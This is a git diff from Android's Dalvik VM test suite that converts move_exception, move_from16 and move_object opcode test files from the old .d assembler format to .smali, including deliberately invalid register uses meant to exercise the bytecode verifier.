--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_exception/d/T_move_exception_1.java
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_exception/d/T_move_exception_1.java
@@ -18,6 +18,7 @@
 
 public class T_move_exception_1 {
     
+    @SuppressWarnings("ConstantOverflow")
     public void run() {
         try{
             int a = 15/0;
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_exception/d/T_move_exception_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_exception/d/T_move_exception_1.smali
new file mode 100644
index 0000000..f865a7e4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_exception/d/T_move_exception_1.smali
@@ -0,0 +1,46 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_exception_1.java"
+.class  public Ldot/junit/opcodes/move_exception/d/T_move_exception_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 6
+
+:Label1
+       const v1, 15
+       const v2, 0
+       div-int v0, v1, v2 
+       
+:Label2
+       goto :Label4
+
+:Label3
+       move-exception v3
+       throw v3
+
+:Label4
+       return-void
+
+.catchall {:Label1 .. :Label2} :Label3
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_exception/d/T_move_exception_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_exception/d/T_move_exception_2.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/move_exception/d/T_move_exception_2.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/move_exception/d/T_move_exception_2.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_exception/d/T_move_exception_2.java b/tools/vm-tests-tf/src/dot/junit/opcodes/move_exception/d/T_move_exception_2.java
index ed66c22..718d5c1 100644
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_exception/d/T_move_exception_2.java
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_exception/d/T_move_exception_2.java
@@ -18,6 +18,7 @@
 
 public class T_move_exception_2 {
     
+    @SuppressWarnings("ConstantOverflow")
     public boolean run() {
         try {
             int a = 15/0;
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_exception/d/T_move_exception_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_exception/d/T_move_exception_2.smali
new file mode 100644
index 0000000..26c734a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_exception/d/T_move_exception_2.smali
@@ -0,0 +1,56 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/move_exception/d/T_move_exception_2;
+.super Ljava/lang/Object;
+.source "T_move_exception_2.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()Z
+    .registers 6
+
+    :try_start_0
+    const v1, 0x1
+
+    const v2, 0x0
+
+    div-int v0, v1, v2
+    :try_end_8
+    .catch Ljava/lang/RuntimeException; {:try_start_0 .. :try_end_8} :catch_9
+
+    goto :goto_e
+
+    :catch_9
+    move-exception v3
+
+    const v4, 0x1
+
+    return v4
+
+    :goto_e
+    const v4, 0x0
+
+    return v4
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_exception/d/T_move_exception_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_exception/d/T_move_exception_3.d
deleted file mode 100644
index 8141ddb..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_exception/d/T_move_exception_3.d
+++ /dev/null
@@ -1,31 +0,0 @@
-.source T_move_exception_3.java
-.class public dot.junit.opcodes.move_exception.d.T_move_exception_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 6
-
-Label1:
-       const v1, 1
-       const v2, 0
-       div-int v0, v1, v2 
-       
-Label2:
-       goto Label4
-
-Label3:
-       move-exception v6
-
-Label4:
-       return-void
-
-.catch all from Label1 to Label2 using Label3
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_exception/d/T_move_exception_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_exception/d/T_move_exception_3.smali
new file mode 100644
index 0000000..423f3f6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_exception/d/T_move_exception_3.smali
@@ -0,0 +1,31 @@
+.source "T_move_exception_3.java"
+.class  public Ldot/junit/opcodes/move_exception/d/T_move_exception_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 6
+
+:Label1
+       const v1, 1
+       const v2, 0
+       div-int v0, v1, v2 
+       
+:Label2
+       goto :Label4
+
+:Label3
+       move-exception v6
+
+:Label4
+       return-void
+
+.catchall {:Label1 .. :Label2} :Label3
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_exception/d/T_move_exception_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_exception/d/T_move_exception_5.d
deleted file mode 100644
index fdad390..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_exception/d/T_move_exception_5.d
+++ /dev/null
@@ -1,47 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_exception_5.java
-.class public dot.junit.opcodes.move_exception.d.T_move_exception_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 6
-
-Label1:
-       const v1, 15
-       const v2, 0
-       div-int v0, v1, v2 
-       
-Label2:
-       goto Label4
-
-Label3:
-       nop
-       move-exception v3
-       throw v3
-
-Label4:
-       return-void
-
-.catch all from Label1 to Label2 using Label3
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_exception/d/T_move_exception_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_exception/d/T_move_exception_5.smali
new file mode 100644
index 0000000..5002d7d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_exception/d/T_move_exception_5.smali
@@ -0,0 +1,47 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_exception_5.java"
+.class  public Ldot/junit/opcodes/move_exception/d/T_move_exception_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 6
+
+:Label1
+       const v1, 15
+       const v2, 0
+       div-int v0, v1, v2 
+       
+:Label2
+       goto :Label4
+
+:Label3
+       nop
+       move-exception v3
+       throw v3
+
+:Label4
+       return-void
+
+.catchall {:Label1 .. :Label2} :Label3
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_1.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_1.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_1.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_1.smali
new file mode 100644
index 0000000..0a217c1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_1.smali
@@ -0,0 +1,52 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/move_from16/d/T_move_from16_1;
+.super Ljava/lang/Object;
+.source "T_move_from16_1.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+.method public static run()Z
+    .registers 5000
+
+    const v10, 0x162e
+
+    move/16 v4001, v10
+
+    move/from16 v255, v4001
+
+    move/from16 v1, v255
+
+    const/16 v4, 0x162e
+
+    if-ne v1, v4, :cond_12
+
+    const v1, 0x1
+
+    return v1
+
+    :cond_12
+    const v1, 0x0
+
+    return v1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_3.d
deleted file mode 100644
index 88b3cae..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_3.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_from16_3.java
-.class public dot.junit.opcodes.move_from16.d.T_move_from16_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()V
-.limit regs 5000
-       move/from16 v0, v5000
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_3.smali
new file mode 100644
index 0000000..6aae7bd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_3.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_from16_3.java"
+.class  public Ldot/junit/opcodes/move_from16/d/T_move_from16_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()V
+.registers 5000
+       move/from16 v0, v5000
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_4.d
deleted file mode 100644
index e544a14..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_from16_4.java
-.class public dot.junit.opcodes.move_from16.d.T_move_from16_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()Z
-.limit regs 5
-       const v1, 0    
-       move/from16 v5, v1
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_4.smali
new file mode 100644
index 0000000..9845ed7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_from16_4.java"
+.class  public Ldot/junit/opcodes/move_from16/d/T_move_from16_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()Z
+.registers 5
+       const v1, 0    
+       move/from16 v5, v1
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_5.d
deleted file mode 100644
index 400a01f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_5.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_from16_5.java
-.class public dot.junit.opcodes.move_from16.d.T_move_from16_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 5000
-       move/from16 v0, v4999
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_5.smali
new file mode 100644
index 0000000..d7b28c8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_5.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_from16_5.java"
+.class  public Ldot/junit/opcodes/move_from16/d/T_move_from16_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 5000
+       move/from16 v0, v4999
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_6.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_6.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_6.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_6.smali
new file mode 100644
index 0000000..4632b2e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_6.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/move_from16/d/T_move_from16_6;
+.super Ljava/lang/Object;
+.source "T_move_from16_6.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+.method public static run()V
+    .registers 5002
+
+    const-wide v0, 0x7b
+
+    move-wide/16 v4502, v0
+
+    move/from16 v2, v4502
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_7.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_7.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_7.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_7.smali
new file mode 100644
index 0000000..238223e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_7.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/move_from16/d/T_move_from16_7;
+.super Ljava/lang/Object;
+.source "T_move_from16_7.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+.method public static run()V
+    .registers 5002
+
+    const-wide v0, 0x7b
+
+    move-wide/16 v1236, v0
+
+    move/16 v257, v1237
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_8.d
deleted file mode 100644
index 5f8455a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_8.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_from16_8.java
-.class public dot.junit.opcodes.move_from16.d.T_move_from16_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()J
-.limit regs 5000
-
-       const-wide v123, 123
-       const v0, 0
-       move/from16 v124, v0
-       return-wide v123
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_8.smali
new file mode 100644
index 0000000..df633f1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_from16/d/T_move_from16_8.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_from16_8.java"
+.class  public Ldot/junit/opcodes/move_from16/d/T_move_from16_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()J
+.registers 5000
+
+       const-wide v123, 123
+       const v0, 0
+       move/from16 v124, v0
+       return-wide v123
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_1.d
deleted file mode 100644
index cc90a5f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_1.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_object_1.java
-.class public dot.junit.opcodes.move_object.d.T_move_object_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Ljava/lang/Object;
-.limit regs 16
-
-       move-object v0, v15
-       
-       return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_1.smali
new file mode 100644
index 0000000..1333d92
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_1.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_object_1.java"
+.class  public Ldot/junit/opcodes/move_object/d/T_move_object_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/Object;
+.registers 16
+
+       move-object v0, v15
+       
+       return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_2.d
deleted file mode 100644
index 4df3976..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_2.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_object_2.java
-.class public dot.junit.opcodes.move_object.d.T_move_object_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-
-
-.method public run()V
-.limit regs 9
-
-       move-object v15, v8
-
-       return-void
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_2.smali
new file mode 100644
index 0000000..2d2ec49
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_2.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_object_2.java"
+.class  public Ldot/junit/opcodes/move_object/d/T_move_object_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+
+
+.method public run()V
+.registers 9
+
+       move-object v15, v8
+
+       return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_3.d
deleted file mode 100644
index 647a220..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_object_3.java
-.class public dot.junit.opcodes.move_object.d.T_move_object_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 9
-
-       move-object v1, v15
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_3.smali
new file mode 100644
index 0000000..ce8a919
--- /dev/null
